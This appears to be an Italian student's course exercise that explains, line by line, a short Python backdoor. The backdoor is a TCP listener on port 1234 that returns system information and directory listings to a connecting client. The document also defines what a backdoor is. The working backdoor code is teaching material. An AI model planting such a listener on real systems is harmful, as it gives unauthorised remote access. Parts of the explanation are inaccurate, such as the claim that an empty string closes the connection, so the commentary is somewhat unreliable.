# ESERCIZIO S3 L4

Davide Andreozzi

L'esercizio di oggi consiste nel commentare/spiegare il codice nella pagina successiva che fa riferimento ad una backdoor.

Inoltre spiegare cos’è una backdoor.

In questo codice possiamo trovare nella riga #1 l'istruzione import che altro non è che il richiamo a un set librerie, moduli, ecc.
In questo caso 3: socket – platform – os
Nella riga 3 e 4 invece troviamo le due variabili che sarebbero l'ip e la porta.
Successivamente si definisce la variabile «s» con la funzione socket.socket(). Il primo parametro socket.AF_INET specifica che si tratta di un socket di tipo IPv4, e il secondo parametro socket.SOCK_STREAM specifica che si tratta di un socket TCP.
Successivamente s.bind associa l'ip alla porta.
S.listen(1) imposta il socket in modalità ascolto e il valore datogli indica quante connessioni in ingresso accettare contemporaneamente e la riga successiva invece stoppa il programma fin quando non trova una connessione in entrata.
Successivamente la funzione print ci darà il messaggio «client connected» seguito da indirizzo ip e porta del client.

Ora si passa al ciclo while, in questo caso con la funzione try andiamo a comprendere un'eccezione, se si verifica la condizione, cioè il flusso di dati in ingresso sarà massimo di 1024 byte, il programma continuerà.
La condizione if data.decode('utf-8') == '1': controlla se la stringa risultante è esattamente uguale a '1'. Se questa condizione è vera verranno inviate le informazioni della piattaforma e della macchina al cliente
Nella condizione elif == 2 il server interpreta la stringa successiva come un percorso e invia al client la lista dei file nella directory corrispondente o un messaggio di errore se il percorso non è valido.
Se i dati sono una stringa vuota, chiude la connessione corrente e si prepara ad accettare una nuova connessione in ingresso.

```
import socket, platform, os

SRV_ADDR = ""
SRV_PORT = 1234

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
connection, address = s.accept()

print ("client connected: ", address)

while 1:
    try:
        data = connection.recv(1024)
    except:continue

    if(data.decode('utf-8') == '1'):
        tosend = platform.platform() + " " + platform.machine()
        connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '2'):
        data = connection.recv(1024)
        try:
            filelist = os.listdir(data.decode('utf-8'))
            tosend = ""
            for x in filelist:
                tosend += "," + x
        except:
            tosend = "Wrong path"
        connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '0'):
        connection.close()
        connection, address = s.accept()
```

# Cos’è una backdoor?

La backdoor può essere vista come una via di accesso secondaria o segreta di un sistema informatico.

Può essere usata per scopi legittimi quando creata intenzionalmente dal programmatore per eludere autorizzazioni, autenticazioni o per accedere rapidamente ad un sistema per manutenzione, tuttavia, non sempre sono intenzionali, molto spesso infatti sono il risultato di errori di programmazione.

In ogni caso possono rappresentare un problema di sicurezza in quanto se usate da criminali informatici gli scopi sarebbero del tutto illegittimi e le conseguenze sarebbero disastrose.